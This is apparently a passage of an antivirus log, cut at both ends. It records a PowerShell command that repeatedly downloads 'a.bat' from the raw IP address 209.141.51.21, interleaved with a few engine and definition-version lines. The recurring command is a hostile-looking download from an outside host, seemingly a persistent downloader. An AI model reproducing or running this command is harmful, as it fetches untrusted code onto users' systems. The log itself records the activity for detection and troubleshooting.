19:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 20:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 21:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 21:58:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 22:23:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 23:13:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 23:34:54 AVAVER: 21.2.2455 AR2: 240830 defs: 24100202 2024-10-02 23:34:54 ARPOT2: Start 4872 2024-10-02 23:34:54 AR2CFG: 240830 2024-10-02 23:34:54 AR2DEV: Start 1 Driver: 210305 2024-10-03 00:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 00:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 01:43:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 02:33:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 03:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 04:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 05:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 05:53:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 06:43:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 07:33:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 08:23:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 09:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 10:03:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 10:53:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 11:42:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 11:43:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 11:43:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 11:53:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 12:33:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 12:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 13:23:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 13:23:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 14:13:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 14:13:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 15:03:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 15:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 15:53:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 15:53:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 16:43:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 16:43:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 17:33:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 17:33:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 18:23:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 18:23:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 19:13:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 19:13:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 20:03:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 20:03:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 20:05:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 20:53:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 20:53:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 21:43:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 21:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 22:33:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 22:33:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 23:23:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 23:23:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-03 23:35:55 AVAVER: 21.2.2455 AR2: 240830 defs: 24100206 2024-10-03 23:35:55 ARPOT2: Start 4652 2024-10-03 23:35:55 AR2CFG: 240830 2024-10-03 23:35:56 AR2DEV: Start 1 Driver: 210305 2024-10-04 00:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 00:13:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 01:03:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 01:03:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 01:53:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 01:53:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 02:43:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 02:43:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 03:33:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 03:33:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 04:23:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 04:23:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 05:13:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 05:13:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 06:03:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 06:03:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 06:53:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 06:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 07:43:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 07:43:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 08:33:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 08:33:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 09:23:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 09:23:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 10:13:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 10:13:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 11:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 11:03:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 11:53:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 11:53:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 12:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 12:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 13:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 13:33:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 14:23:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 14:23:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 15:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 15:13:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 16:03:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 16:03:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 16:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 16:53:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 17:37:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 17:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 17:43:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 18:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 18:33:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 19:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 19:23:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 20:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 20:13:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 21:03:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 21:03:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 21:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 21:53:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 22:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 22:43:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 23:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 23:33:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-04 23:36:58 AVAVER: 21.2.2455 AR2: 240830 defs: 24100404 2024-10-04 23:36:58 ARPOT2: Start 2024 2024-10-04 23:36:58 AR2CFG: 240830 2024-10-04 23:36:58 AR2DEV: Start 1 Driver: 210305 2024-10-05 00:23:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 00:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 01:13:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 01:13:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 02:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 02:03:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 02:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 02:53:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 03:43:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 03:43:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 04:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 04:33:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 05:23:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 05:23:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 06:13:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 06:13:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 07:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 07:03:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 07:53:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-05 07:53:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 